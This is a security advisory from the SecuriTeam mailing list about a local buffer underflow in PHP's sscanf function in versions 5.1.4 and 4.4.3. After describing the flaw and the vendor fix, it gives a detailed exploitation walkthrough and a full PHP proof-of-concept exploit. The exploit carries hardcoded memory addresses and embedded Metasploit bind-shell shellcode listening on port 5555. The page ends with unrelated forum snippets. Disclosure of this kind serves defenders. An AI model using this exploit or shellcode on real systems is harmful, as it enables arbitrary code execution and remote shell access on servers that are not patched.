[UNIX] PHP Local Buffer Underflow



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



PHP Local Buffer Underflow
------------------------------------------------------------------------


SUMMARY

PHP (PHP: Hypertext Preprocessor) is an open-source, reflective
programming language. Originally designed as a high level scripting
language for producing dynamic Web pages, PHP is used mainly in
server-side application software

PHP suffers from a local buffer underflow that allows for arbitrary code
execution.

DETAILS

Vulnerable Systems:
* php version 5.1.4 (prior versions suspected)
* php version 4.4.3 (prior versions suspected)

When php-s sscanf functions format argument contains argument swap and
extra arguments are given like sscanf('foo ','$1s',$bar) , it reads an
pointer to pointer to zval structure past the end of argument array by
one.

Vendor Status:
Php developers were notified and response and patching was quick. php bug
tracker thread http://bugs.php.net/bug.php?id=38322. Vulnearability is
fixed in CVS.

Exploiting:
Attacker needs a double pointer to writable segment in remote binary which
can be obtained by compiling a binary based on all info known about remote
host and disassembling binary and searching. This exploit first fills php
internally cached memory with address of pointer (double pointer) to
writable segment. Then by unsetting the variable it frees memory, but does
not zero it, so this way we pass our own pointers to sscanf.

Now sscanf allocated array has valid element one past the array, sscanf
tries to call a function to destruct zval structure. If its 15-th byte
isnt anything valid it will default to doing nothing and will continue
without errors and returns; sscanf now sets the structure to be of type
string and writes pointer to string (it matched from our first argument
to sscanf) and strings length to a structure-s value union. the strings
address is written to first 4 bytes of structure.

Knowing this we construct our own binary zval structure of type object. +
shellcode + space to match format. So now we have successfully called
sscanf for the first time and we got something like
ptrptr->ptr->zval-of-type-string in memory zval-of-type-string first 4
bytes point to our object we passed as argument.

Next step is to fill the internal cached memory with just pointer to zval.
and free it. When sscanf reads the pointer this time it now moves upwards
one level but still dereferences twice. thus acts upon our zval structure
of type object. When the destructor function now sees the zval is an
object it will read a pointer from our structure to another structure
which supposed to contain function pointers. it will call whatever the
2-cond element points to. all elements are 4 bytes long thus address
pointed to by structures offset 4 is called. When we give it our
ptr-to-zval - 4 it will add 4 bytes to it and dereference it an call
whatever is there. And there is address to our constructed zval object so
we are executing code from the beginning of our structure. eip-hop-over
will help us through unwanted bytes and we are on our way executing our
shellcode.

Exploit:
<?php

/*
POC developed by Heintz.
Greets to Waraxe from www.waraxe.us
All buds from www.plain-text.info
Torufoorum

Thanks to metasploit.com for shellcode loan.
*/

// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4


// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";
$ptr_to_zval = "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over = "\x90\x90\x90\xB8";

# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub
http://metasploit.com
$shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";

if(bin2hex(pack('S',0x0010))!="0010")
{ // small endian conversion
$t = $ptr_to_ptr_to_zval;
$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

$t = $ptr_to_zval;
$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

$t = $ptr_to_obj_handlers;
$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};
}

$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.
"\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";

$str = str_repeat($ptr_to_ptr_to_zval,20);
unset($str);

sscanf(
$object_zval,
'%1$s',
$str);

putenv("PHP_foo=".str_repeat($ptr_to_zval,64));
putenv("PHP_foo=");

sscanf(
"a ",
'%1$s',
$str);


?>


ADDITIONAL INFORMATION

The information has been provided by <mailto:heintz@xxxxxxxxxxx> Heintz.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • php local buffer underflow could lead to arbitary code execution
    ... when php-s sscanf functions format argument contains argument swap ... sscanfthen it reads an pointer to pointer to ... Php developers were notified and response and patching was quick. ... sscanf tries to call a function to destruct zval structure. ...
    (Bugtraq)
  • Re: Strtol vs sscanf
    ... sscanf() format string. ... every pointer requires a dynamic allocation! ... > the malloc error's before exiting which variables failed to get ...
    (comp.lang.c)
  • Re: PHP5 and class inheritance question
    ... handle pointing to a memory address where information is stored, this php ... handle points to a symbol table entry where information is stored. ... A pointer contains a memory address, ... references behave differently (which BTW is explicitly mentioned in the ...
    (comp.lang.php)
  • Re: Safest way to convert chars to ints
    ... I got all zeros. ... > memory faults. ... > the call sscanf() always leaves list pointing to address 0x8040000. ... 'sscanf' expects a pointer to 'int' when you specify "%d". ...
    (alt.comp.lang.learn.c-cpp)
  • Re: PHP5 and class inheritance question
    ... just as PHP doesn't have pointers. ... i care about behaviors. ... All these things can't be done with references as they exist in PHP: ... pointer arithmetics ...
    (comp.lang.php)